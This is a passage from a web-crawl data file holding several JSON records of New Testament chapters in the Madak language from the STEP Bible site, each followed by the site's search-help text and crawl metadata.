ka mo lugugu at langas petpes. Neni ga lok ka i mila neni ga ruuna lololos silok la kopmen taxavaxap at lorooro ren. 17 I lok ngan ne Moroa ga tong i at Lovoang Kaala, levelinga ren i lok keretna,\n\"Nenu unaba nemen amisik ngan lamaasa kerekngan ne Melkisedek.\" a\n18 Moroa ga vaxaxis ase Lenavolo at ne Moses mila goxopmen ta tololos teren la kopmen ta goxo epovo ri lok tooro limixin; 19 la Lenavolo xopmen goxo epovo na lox adadat limixin basinge laxakapmek. La ne Moroa ga lok li langas maxat, i lox avukat ti Lenavolo la maxeneng ap mo langas maxat, i epovo do tana xis esogo mi ne Moroa.\n20 La ne Moroa ga vangpe do ne Iesu na xip ka lugugu at lamaasa, ketla ne Aron la lavamaasa melemu ren diga xip ka mo lugugu ketla goxopmen tavangpangpe at ne Moroa ridi. 21 Ketla ne Moroa ga vangpe do ne Iesu na lok ka lugugu ngan lamaasa at laaleng ne Moroa ga lok tin keretna,\n\"Leeme Silok ne Moroa ga vangpe vam la neni noxo lox ekun lodoxoma ren. Ni ga lok, 'Nenu naba nemen amisik ngan lamaasa.\" b\n22 Moroa ga vangpe xerepmo, kuren la ne Iesu neni i lok ngan losoksoxoba pe ri lekabus maxat, mo i nunuan aleng ti Lenavolo.\n23 Buaang atnedi lavamaasa amgomgo diga lok lugugu mila diga vekukun mi lugugu do lara ga met. 24 Ketla ne Iesu, kopmen taxavaxap at lorooro ren la kerepmo neni bak lox amisik lugugu at lamaasa. 25 Kuren la neni i epovo na lox arooro rinotno nedi di vosiga ne Moroa, mo do dina nuunu sogo at ne Iesu; mila ne Iesu naba nemen amisik saparap ne Moroa la na ngising i xusu na lok tooro di.\n26 Lamaasa gomgo xerepmo i lox epovo lavakpakes atdik; luruptuvuk teren i nunuan axap, neni xopmen goxo ronga xepe levelinga at ne Moroa, goxopmen taxakapmek gak lok teren. Ap mo levenaleng neni ga nemen de at na lavatbung menemen neni goxo vubeles ti laxakapmek eburu mi limixin kapmek; la melemu ne Moroa ga lox asilox i ro vana at laxalibet. 27 Neni xopmen goxo lok ngan mo leventaba lavamaasa amgomgo, nedi xa digaplavang amisik ti laxakapmek atdi, la ti laxakapmek bok at limixin; ketla ne Iesu ga lok laplavang ti laxakapmek at limixin axap, ni ga lok legesa laplavang mun, at laaleng ni ga raba lorooro ren kusu na uu nop loklok atdik. 28 Maxeneng at Lenavolo luvuttadi diga lok lugugu ngan lavamaasa amgomgo, la lorooro atdi goxok mokso xerekngan ne Iesu. Ketla ne Moroa ga raba limixin mi Lenavolo, la melemu ni ga vangpe do ne Nitna na lok kaka lugugu at lamaasa gomgo, luruptuvuk teren nabak mokso amisik.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Heb.7","date":"2018-10-19T04:54:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512323.79\/warc\/CC-MAIN-20181019041222-20181019062722-00251.warc.gz","language":"mmx","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000078678131104}","num_words":1271,"character_repetition_ratio":0.079,"word_repetition_ratio":0.006,"special_characters_ratio":0.215,"stopwords_ratio":0.36,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"aLer 11:31\n1 Peter 4\nLorooro Maxat1 Karisito ga suma losongsongot at labantuxu ren, kuren la nemi bok mina ru lolos ngan levendoxoma neni ga ruuna i; mo do nege i ekip tangarang mi losongsongot at labantuxu ren mumu lunuunu ren saparap ne Karisito, i lox asuusu i do neni ixok lok bok ba xeneng at laxapmek. 2 Kuren la mina ke axap lorooro atnemi at na lavatbung menemen kusu mina mu asu lodoxoma at ne Moroa, la kopmen lavavara kapmek mun at luvuttadi at na lavatkangka. 3 Lekanaleng mo gara xap pam migak lok laxaloklok kapmek mo luvuttadi at lamain di vavara nak lox i, ngan loklok kakapmek maxamang at lixitkis epot, la levereven peves, liinin kadan lolos, lengkot mamangan, la laplavang ti laxampoovo vanga, ni laxapmek bok no i bilingot tinotno. 4 Limixin no dik lox amisik at na laxakapmek, di sangu rinotno at loxonaleng nemi mixo emu minedi rik lok mo leveloklok i lok kapmek; kuren la di paase aksaksa mumu nemi. 5 Ketla nedi dinaba raba levelinga loklox axasep atnedi ri ne Moroa mumu laxapmek diga lox i, neni laradi i gagas kusu na viila limixin axap di rooro la nedi bok diga met pam. 6 Neni ba na lavasuun teren la ne Iesu ga vavang bok mi Lagale Lavavang ti limixin diga met pam, atla neni naba viila axap limixin mumu mo leveloklok diga lox i at lorooro atdi. Ketla Lagale Lavavang gat pas tinedi xusu labaroonan atnedi naba roo la dinaba epovo ri rooro avolo ngan ne Moroa.\nLaradi Loklok Tatao Avukat At Leventamtaba At Ne Moroa7 Laxavaxap at levempanga axap, mo nga i auret. Kuren la levendoxoma atnemi na xasep nunuan la mina lok tatao avukat levempatpas atnemi, kusu miba epovo na lok levesingising. 8 Mavana at levempanga axap, mina ebalamu ela nemi mi luruturun atla labalamu at limixin naba ru pe laxangkakapmek solo. 9 Mina lok maraose abeles kaka leventaba vetpes uto xeneng at laraugu atnemi la nemen gat mita gagalinga. 10 Nemi getgesara mi ruuna lugugu at loklok tatao levenasen tamtaba at ne Moroa, kuren la mina gugu avukat mi nom leventamtaba axap no ne Moroa ga raba nemi min, ti lok tooro leventaba vetpes. 11 I ngan nege do neni laradi vavang, neni na vavang akmokso mi levelinga at ne Moroa; la do nege i gugu taba, neni na gugu taba mi lololos ne Moroa im taba i min, kusu keneng mun at na leventamtaba axap, leemi asu nabat pas ti ne Moroa mumu mun ne Iesu Karisito. Leemi asu la lololos tin amisik la kopmen taxavaxap teren. Tuturun.\nLosongsongot At Laradi I Mumu Ne Karisito12 Larapen tangas orong tarak. Nemen gat miguta sangu at leveloklox asongot lolos ik lok tong pen nemi, la na ngan ta lavanga maxat petpes i vot parap nemi. 13 Ketla mina sosoro atla nemi mi ru buru mi ne Karisito at losongsongot teren, kusu minaba umsu mi lomomo at laaleng lisisixam teren na ru asuvos. 14 La do limixin di paase aksaksa rinimi mumu laasen at ne Karisito, luvukat nabat pas tinemi. Lavasuun at na keretna, mo loroonan i lox asuusu lisisixam, ni Loroonan at ne Moroa la ik lok keneng atnemi. 15 La do teventaba atnemi na lok kaka loklox asongot, ixo lox avukat do dina lok ka i ngan luvuttadi sepsep tadi, kopla luvuttadi xipkip pilo xopla luvuttadi xapmek, kopla nemi mik lox angtang lorooro at leventaba vetpes. 16 Ketla do mina lok ka loklox asongot mumu mun i do nemi luvuttadi mumu asu at ne Karisito, nemen gat nemi guta mangan at loklok di lox i rinimi, ketla mina tong avukat ti ne Moroa atla nemi mip kip laasen at ne Karisito. 17 Laaleng ira auret pam ti laaleng ete na ru kaxat, la ne Moroa naba viila mumu avot be loklok at limixin tinotno ren. Do na ru kaxat avot minedik, naba lok kapmek tinotno rinedi, dixo ronga res at Lagale Lavavang at ne Moroa. 18 I ngan Lovoang Kaala i vaase i xeretna,\n\"I lolos aleng do luvuttadi mokmokso dina roo suu, ketla naba lok ba xereva rinedi luvuttadi xopmen dinaklen ne Moroa la dik lok laxakapmek?\" a\n19 Kuren la nedi dik lok kaka losongsongot mila dik lok mu asu lavavara at ne Moroa, dina tu lolos at leveloklok nunuan, la lunuunu atnedi na tu tuxuruxun at ne Moroa, laradi runtudum li, la neni kopmen na domampe laxakaape ren.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=1Pe.4","date":"2018-10-23T05:57:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583516071.83\/warc\/CC-MAIN-20181023044407-20181023065907-00057.warc.gz","language":"mmx","language_score":0.9999625683,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.999962568283081}","num_words":875,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.264,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ephesians 3\nPol Ga Ruuna Lugugu Ti Paase Asu Lagale Lavavang1 Nenia ne Pol, a ruuna mo lugugu ti lox axis nemi, limixin kopmen nemi me Judaia eburu mi ne Iesu Karisito, la ni lavasuun bok teren la nenia ak lok de at loxokoxo.\n2 Nia a doxoma i dola nemi miga ronga vam i do ne Moroa ga raba ia mi lugugu ti paase asu mo levelinga mumu letaba nabalamu ren tinimi. 3 Mo levelinga ganoxa ga nemen lipe, ni ne Moroa ga lox asuvos i ria, la nia aga malagan i rinimi at lovoang mutmut gano. 4 La mo dola nemi mina us i, miba xasep at lodoxoma rak mumu mo levelinga lipe at ne Karisito. 5 At levenaleng axap gano, Moroa xopmen goxo lox asuvos mo levelinga lipe tinedi lavaola. Ketla na mun Loroonan Kaala at ne Moroa ga lox asuvos i rinema luvuttadi vavang eburu mi lavaeme vapaase alii ren ngan nema lavaanat soxolik at ne Moroa. 6 Mo levelinga lipe i lok keretna. At Lagale Lavavang limixin kopmen di me Judaia di epovo na lok kaka leveloklox anarong at ne Moroa kerekngan limixin me Judaia; la nedi legepu bungmixin diba lok ngan lengkot at legesa bantuxu mun la nedi eburu diba lok kaka mo lempanga ne Moroa ga vaase alii i rinedi di nuunu at ne Iesu Karisito.\n7 Moroa ga lok li ia ngan lasaxaruki ren ti paase asu Lagale Lavavang; na lugugu i ngan letaba nabalamu ria, mo ga ravasu at lololos teren, la i lox alolos ia at na lugugu. 8 Nenia laradi lixilik tinedi axap limixin at ne Moroa, ketla neni ga lox asu letaba nabalamu ren tia kusu nenia ana vavang mi ne Karisito, ni i lok ngan lapnovos i silok aleng la kopmen tara i epovo na vuse ka tempanga silok kerekngan neni. La a vavang ti limixin kopmen di me Judaia, 9 kusu nedi eburu mi limixin axap diba xasep ap mo levelinga lipe, ni mo levelinga ne Moroa ga raba ia min kusu ana tong asu i. Nom levelinga Moroa ga lipe i gano la ga nemen kuren at laxanmaares buaang, ga ru ka i at levenaleng ne Moroa ga rudum li lempanga axap. 10 Lavavara ren ga lok keretna, neni na lox asuvos lagale lodoxoma ren la mo nga limixin lotu dinap kip ka mo lugugu ti lox asuusu mo lodoxoma ren ti lubung angelo la leventoonan to vana at laxalibet. 11 Nom lodoxoma ren i epovo mi lodomdoma alii avolo ren, neni ga lox epovo i mi lugugu at ne Iesu Karisito, Leeme Silok atnedik. 12 Maxeneng teren nedik ta epovo na vosiga ne Moroa, kopmen tavanga i ru pe dik la kopmen tainmarat, mo do dik ta nuunu at ne Iesu Karisito. 13 Kuren la nia a sing nimi do mina lolos la nemen mita subu kot kantubu at lunuunu atnimi mumu levesongsongot nia ap kiv i. Na levesongsongot ga vot mila agak lok tooro nimi, ketla mina lok momo mun maxeneng teren.\nLisingising At Ne Pol Ti Limixin Me Epesas14 Do nenia a doxoma na lodomdoma alii ren, nia a xis tintiding to melamgo at ne Tamak. 15 Neni i so asen limixin teren mi laasen loklox avolo ren, nedi boro vana at laxalibet la nedi bok at na lavatbung menemen, nedik axap di lok ngan legesa bungmixin. 16 Nenia a sing ne Moroa do maxeneng at langsangan lapnovos teren, neni naba lox alolos lorooro axap atnimi mi lololos boro at Loroonan Kaala. 17 La at lunuunu atnemi, ne Karisito naba nemen to at lebelen nimi. La a sing ne Moroa do mina umsu mi labalamu kusu lunuunu atnimi na tu lolos, kerekngan levenixe at luuna ing tanga alis laxangka la luuna ira tu lolos; 18 la mina umsu mi lolos eburu minedi limixin at ne Moroa kusu miba xasep do labalamu at ne Karisito i babaalom, ip teplas, i urut, la i si aleng tino, 19 la miba xasep do nom labalamu ren i silok polo lakleklen at limixin la kerepmo miba umsu mi leveloklox avukat axap at ne Moroa xa.\n20 Ata emi asu mi ne Moroa, i epovo na lok laxampanga solo, mo i volo axap mo lempanga nedik di ngising tin la di doxoma i, la mo levempanga i ravasu at lololos teren, mo i gugu xeneng at lorooro atdik. 21 La limixin lotu dinap kip aurut laasen at ne Moroa to at lotu, la keneng at laasen at ne Iesu Karisito, la lavaola move i tu umelamgo dinap kip aurut laasen teren amisik la kopmen taxavaxap teren. I ruturun.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nESVthroneDavidIsa-Rev\nKJVWHNUJohn 1\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Eph.3","date":"2018-10-19T04:36:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512323.79\/warc\/CC-MAIN-20181019041222-20181019062722-00271.warc.gz","language":"mmx","language_score":1.0000052452,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000052452087402}","num_words":817,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.322,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 John 3\nMo Nga Dik Gi Nemen Ngan Luvutnitna Ne Moroa1 Labalamu at ne Temen dik i silok aleng, ni gara lok asuusu vam i ridik keretna. Neni ga soxot nedik do luvutnitna ne Moroa. La i ruturun tinotno, nedik luvutnitna ne Moroa. Limixin at na lavatkangka dixokleklen ne Moroa; kuren la nedi xopmen dinaklen bok dik. 2 Larapen tangas orong tarak. Mo nga nedik luvutnitna ne Moroa, ketla kovisi bok ata xasep do nedik taba lok tinotno xereva. Ketla nedik takleklen i do at laaleng ne Iesu na ru asuvos, nedik taba lok ngan i mila ataba epen etang tinotno ba min. 3 Nedi axap di ngangais mi lomomo ti mo laaleng, amisik di lok kepe laxakapmek at lorooro atdi kusu dina dadat basinge laxakapmek la lorooro atnedi naba dadat axap kerekngan ne Iesu.\n4 Do tara na lok laxakapmek, i los polo levelinga at ne Moroa, mila laxakapmek ni loklok ti los polo levelinga at ne Moroa. 5 La nemi mikleklen i do ne Iesu ga rupot kusu ri lox asepmus limixin basinge laxakapmek atdi. La kopmen taxapmek nak lok at ne Iesu. 6 La nedi dit kis esogo mi ne Iesu, di noxo lox amisik laxakapmek. Ketla do tara i lox amisik laxakapmek, i lox asuusu i do neni xovisi na ven kibis ne Iesu la kopmen naklen i.\n7 Luvutnuruk orong. Mina lok tatao avukat nemi kusu tara noxo sar asoogong nimi. Do tara ik lox amisik lempanga ik mokso, neni laradi mokmokso, kerekngan ne Iesu ik mokso aleng. 8 Do tara ik lox amisik laxakapmek, neni at ne Satan, mila ne Satan ga lok laxakapmek, ga ru ka i ganoxa at lereot. Lavasuun at lovotpot at ne Nitna ne Moroa do neni na sele utut kepe lugugu at ne Satan. 9 Do tara i ruuna livipisik amaxat at lorooro ren keneng at ne Moroa, ni noxok lox amisik laxakapmek, atla lorooro maxat at ne Moroa i nemen keneng teren. Do tara i ruuna ka vam livipisik amaxat at ne Moroa, neni ixo epovo ri lox amisik laxakapmek. 10 Anai i lox axasep dik do nege di luvutnitna ne Moroa, la nege bok di luvutnitna ne Satan. Lara do i lok tavanga kopmen nak mokso, kopla kopmen na balamu neton, neni xopmen ne nitna ne Moroa, ketla neni ne nitna ne Satan.\nMina Balamu Ela Nimi Ngan Limixin At Ne Moroa11 Mo levelinga miga ronga i, ga ru ka i at lurutu kaxat at lunuunu maxat atnimi saparap ne Iesu Karisito, la mo levelinga i lok keretna; nedik ata ebalamu ela. 12 Nemen dik ta lok ka loklok at ne Kaen. Neni laradi at ne Satan la neni ga sev amet neton, laasen teren ne Abel. Tila ba ne Kaen ga sev amet ne Abel? Lavasuun teren do ne Kaen ga ven kibis i do luruptuvuk teren ga lok kapmek la luruptuvuk at ne Abel ga lox avukat. 13 Luvutnetak mi luvurinuk. Nemen mita sangu dola limixin at na lavatkangka dinak milik angtungun tinemi. 14 Nedik ataklen i do dik gara on basinge vam lololos at lanmet, la dik dira beles polo ri lorooro. Nedik takleklen i na mila nedik ta ebalamu ela. Do tara kopmen tabalamu ren, neni move i nemen maxopok at lololos at lanmet. 15 Do tara ik milik angtungun ti neton, neni i lok ngan laradi sepsev amet tadi, la atakleklen i do laradi sepsep amet tadi kopmen torooro avolo rin.\n16 At na loklok at ne Iesu Karisito nedik ta xasep at lavasuun at labalamu. I lok keretna, Iesu Karisito ga met nop loklok atdik. Kuren la nedik bok ata raba lorooro atnedik ti lok tooro limixin at ne Moroa. 17 La kerepmo, do taradi apnovos i ven ti neton ik pakes aleng, ketla kopmen na raba i mi tempanga, kereva, i balamu ne Moroa? Kopmen tinotno. 18 Luvutnuruk orong. Labalamu atnedik kopmen noxo lok ngan levelinga la lempapaase gamasa mene nga, ketla ata ruuna ka labalamu ruturun, kusu leveloklok atdik ba lox asuusu i do labalamu ruturun mo ik lok keneng atdik.\n19 Do nedik ta ruuna labalamu xerepmo, i lox asuusu i do nedik luvuttadi at ne Moroa, mo i ruturun. La kerepmo nedik ta noxo suma lanmarat ap mo laaleng dik taba ru ro melamgo at ne Moroa. 20 Do nedik ata suma xapmek ap mo laaleng mumu laxakapmek nedik ga lok pam i gano, ata xasep do nedik limixin at ne Moroa, la neni noxo lok li lumumuat atdik, mila ne Moroa noxo doma solo mo lusumsuma atdik la ikleklen lempanga axap la naba doxoma xepe laxakapmek atdik.\n21 Larapen tangas orong tarak. Nedik ta noxo ruuna ka lumumuat mumu lusumsuma atdik, kuren la nedik ta noxo suma lanmarat to melamgo at ne Moroa, 22 la i epovo do ata sue ne Moroa ri lempanga ta vara rin. La neni naba raba dik min mila nedik ta mumu asu levelinga ren la tak lok lempanga ik lox amomo i. 23 La levelinga ren tidik i lok keretna, nedik tana nuunu at laasen at ne Nitna, neni ne Iesu Karisito la atana ebalamu ela kerekngan ne Iesu ga tong i ridik. 24 Do tara i mumu asu levelinga at ne Moroa, neni it kis esogo mi ne Moroa la ne Moroa it kis esogo min. La nedik takleklen i do ne Moroa it kis esogo midik mila neni ga raba dik mi Loroonan Kaala ren.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=1Jo.3","date":"2018-10-21T19:11:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583514314.87\/warc\/CC-MAIN-20181021181851-20181021203351-00040.warc.gz","language":"mmx","language_score":1.0000050068,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000050067901611}","num_words":1037,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.307,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 17\nPol Mi Ne Sailas Duga Xip Losongsongot To Tesalonia1 Pol mi ne Sailas dugat pas kantubu at lunep silok Ampipolis la Apolonia, la duga vas pot to Tesalonia. Ap mo lemenemen loogu singising at lubungmixin me Judaia ga nemen e. 2 Pol ga beles at loogu singising kerekngan ni gak lok amisix i. Mo go ni ga paase eburu mi limixin, la ga tong asu levelinga at Lovoang Kaala, at lavantun levenaleng kaala. 3 Ni ga soxomus mo levelinga la ga lox asuusu i rinedi do i epovo Lanarong na met, la na xatu kaxat amlong bok basinge lanmet. La ne Pol ga lok, \"Na ne Iesu mo nia a tong asu i rinemi, neni Lanarong.\" 4 Lentaba atnedi leme Judaia diga nuunu la diga mu asu ne Pol la ne Sailas; la buaang nedi bok limixin me Grik no diga lotu saparap ne Moroa, la buaang bok atnedi lavakin gomgo diga nuunu.\n5 Ketla lentaba at lubungmixin me Judaia diga reven peves aleng atdu la diga xup bubua ka nedi la diga lox axatu lodoxoma at limixin kusu dina esep. Diga lok li nom lemenemen axap at langsangan lekarakat la diga ut das lumusaragu at loogu at ne Jeson. Diga lok tong pen i do dina vuse ka ne Pol mi ne Sailas la dina lok ka du kusu duna ru at lavapaase. 6 Ketla di goxo vuse ka du, kuren la diga sat kaka ne Jeson la lentaba luvuttadi nuunu uto at limixin amgomgo ap mo lemenemen; la digap kup keretna, \"Na luvuttadi di lok lekarakat silok at lengkot axap! La na dira beles pam at lemenemen atdik. 7 La ne Jeson ira lam ka di uto at loogu ren. Nedi dira los polo vam leventaangas at laradi gomgo ne Kaisar; di lok do lara loorong silok petpes mo, laasen teren ne Iesu.\" 8 Neni na levelinga diga lox axatu lodoxoma at limixin mi luvuttadi amgomgo ap mo lemenemen ti langsangan leedak. 9 Luvuttadi amgomgo ap mo lemenemen diga tong i ri ne Jeson la nedi luvuttadi nuunu xusu dina lok li tempilas ti un asu di, la melemu diga lox aonon nedi.\nBuaang Nedi Limixin Boro Beria Diga Nuunu At Ne Iesu10 Ap mo mene laxanimin luvuttadi nuunu diga riki ne Pol mi ne Sailas uto Beria. Duga rupot, la at laaleng kaala dugat pas uto at loogu singising at lubungmixin me Judaia. 11 Limixin me go diga lox avukat aleng mila diga siam ka levelinga atdu; di goxo ronga xepe levelinga at ne Moroa kerekngan limixin to Tesalonia. Diga ronga mo levelinga mi langsangan lomomo, la at levenaleng axap diga utus avukat levelinga at Lovoang Kaala, kusu dina ven i do levelinga at ne Pol ga ruturun. 12 Buaang atnedi diga nuunu, la buaang nedi lavakin silok boro Grik la buaang atnedi lavatlok boro Grik diga nuunu bok.\n13 Ketla lentaba limixin me Judaia boro Tesalonia diga ronga i do ne Pol mo ga vavang mi levelinga at ne Moroa ro Beria; diga vas kaxat ugo la diga lox axatu lodoxoma at limixin. 14 La soso mun luvuttadi nuunu diga sak tiki ne Pol uto loxon, kusu na mu lavattaaxup; ketla Sailas mi ne Timoti duga nemen go Beria. 15 La nedi diga emu mi ne Pol, digat pas eburu min uto Atens. Melemu digamlong uto Beria mi levelinga loklox axasep boro at ne Pol do ne Sailas mi ne Timoti duba vosiga soso mene i.\nPol Ga Vavang Ti Limixin To Atens16 Pol ga nemen tangais ne Sailas mi ne Timoti ro Atens, ni ga bulu aleng mila ni ga ven i do mo lemenemen ga umsu mi laxampoovo moroa. 17 Kuren la ni ga paase ro at loogu singising eburu mi leme Judaia la limixin kopmen di me Judaia bok no diga lotu saparap ne Moroa. La at levenaleng axap ni ga vavang bok ti limixin mo digat pot amisik to at loxot potpot buru. 18 Lentaba luvuttadi loklox ase diga tong nedi do Epikurian ▼\n▼ Lara libinam tadi diga nuunu do lampeneves at labantuxu neni i silok aleng ti levelinga ruturun.la Stoik ▼\n▼ Lara libinam tadi di goxo nuunu at ne Moroa, ketla diga nuunu axa at lololos atdi. Di goxok lox asuusu bok lomomo kopla lainbulu keneng at lorooro atdi.diga etep mi levelinga eburu mi ne Pol. Lentaba diga sue, \"Lavanga salai na laradi baulang i lok do na tong asu i?\" Lentaba vetpes diga lok, \"Ni i paase mumu levenmoroa at lengkot petpes.\" Diga tong i na mila Pol ga vavang mumu ne Iesu la laxakatu kaxat amlong teren. 19 Kuren la diga lam ka ne Pol, la diga vaxaxis i ro melamgo at lixitkis buru at la Ariapagas ▼\n▼ Lara loxongkaana ro Atens la neni lenep digat pot buru e ri levengkitkis buru atnedi luvuttadi amgomgo mego.la diga lok, \"Nema ma vara i do mana ronga na loklox ase maxat, nenu u paase mumu i. 20 Lentaba levelinga ram i reng petpes at lodoxoma atnema, la ma vara i do manaklen i do ua lavasuun teren.\" 21 (Limixin me go Atens la limixin petpes bok mo diga nemen go, diga vavara amisix i do dina tere la dinang tonga tevelinga mumu lempanga maxat).\n22 Pol ga xatu kaxat upana ro melamgo atdi ro at la Ariapagas la ga lok, \"Limixin mede Atens! A ven i do at lorooro axap atnimi mi lotu saparap buaang levenmoroa, 23 mila nia at pas tangtagap at levengkot at lemenemen silok atnemi la a ven lengkot nemi mi lotu ren. A long lenger i do loxonin laplavang mo, miga malagan i do 'Ti lomoroa kopmen dinakleklen i.' Nemi mi lotu saparav i, ketla nemi xopmen minakleklen i la nenia na ana tong asu i rinimi.\n24 Moroa ga rudum li lavatbung menemen axap la lempanga axap maxeneng teren; ni Lamgomgo at laxalibet la laxangka, la ni xopmen na nemen at laraugu lotu limixin di lox i. 25 La ni xopmen nak pakes ti tavanga do tara na raba i min, mila neni xa im taba lorooro la lamamas la lempanga axap ti limixin. 26 Moroa ga rudum li legesa radi la limixin axap ni livipisik li ren la ni ga lok li nedi xusu dina nemen at lengkot axap at na lavatbung menemen. La neni xa ga sok katling levenaleng ti limixin la levenmenemen atdi. 27 Moroa ga lox i na kusu diba ven tin, la dina vosiga i mo do di vara i. Neni xopmen na nemen paxalom basinge dik. 28 I lok ngan lentaba diga tong i xeretna;\n'Moroa im taba dik mi lorooro la lolos.'\nI ngan bok lentaba luvuttadi vapaase atnimi diga tong i do;\n'Nedik laxamdak teren.'\n29 Nedik laxamdak at ne Moroa, kuren la nemen dik ta doxoma i do lampoovo ren i lok ngan lampoovo at logol kopla li siliva xopla levenuat limixin di lox i mi lakleklen la lololos atdi. 30 Gano ne Moroa goxo doma solo laxakapmek at limixin ap mo levenaleng limixin kopmen di goxokleklen i; ketla lingina i tong lolos i ri limixin at lengkot axap do dina leeng basinge laxakapmek atdi. 31 Mila neni ira lok katling pam lara laaleng neni naba lok li limixin axap at lavapaase, la lavapaase ren nabak mokso aleng; la ni ga soxolik ka vam lara laradi xusu na ronga linga at laaleng ete. Ni ga lox asuvos pam mo laradi ri limixin axap mi loklok katling keretna, ni ga lox aroo amlong i basinge lanmet.\"\n32 Diga ronga ne Pol ga vaase mumu laxakatu kaxat amlong at lanmet la lentaba atnedi diga lok kalise i; ketla lentaba diga lok, \"Ma vara i do mana ronga box u, una vaase amu box i.\" 33 Kuren la ne Pol ga on basinge loxot papaase. 34 La lentaba luvuttadi mene diga mumu i la diga nuunu; kantubu atnedi ne Dionisias lara atnedi boro at la Ariapagas, la lara latkin, laasen teren ne Damaris, la lentaba vetpes bok.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 